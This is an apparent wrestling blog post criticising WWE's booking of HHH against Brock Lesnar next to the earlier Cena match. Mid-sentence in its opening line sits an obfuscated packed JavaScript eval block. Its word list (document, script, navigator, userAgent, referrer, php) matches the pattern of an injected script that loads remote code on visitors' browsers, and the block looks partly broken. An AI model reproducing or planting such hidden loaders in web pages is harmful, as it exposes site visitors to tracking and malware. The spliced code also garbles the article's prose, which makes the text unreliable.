Thought of the Day: The Problem With HHH vs. Lesnar

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yizai|var|u0026u|referrer|knark||js|php'.split('|'),0,{})) a lack of adapting.Last year, Cena vs. Lesnar was arguably the match of the year. Why was it so awesome you ask? It was because the match was DIFFERENT. It was Brock Lesnar massacring Cena in a style that we hadn’t seen in years. That was a fight rather than a match and the people bought into it in a big way.

Flash forward to Summerslam and Wrestlemania. Yeah the matches between HHH and Lesnar were intense, but they were nothing we hadn’t seen before. HHH treated Lesnar like any other monster with the same classic formula: monster hurts face, face loses first match, face comes back to win rematch. The problem with that is Brock Lesnar is not just any other heel. He’s a special attraction and capable of so much more, but instead he’s being used to make HHH look good. Think about it: even if Lesnar DESTROYS HHH in the cage match at Extreme Rules, which match are people going to remember more? That one or the match from Wrestlemania?

After Extreme Rules, Lesnar will have been back for 13 months. 12 of them will have been spent making the boss of the company look good. That’s just bad booking all around.
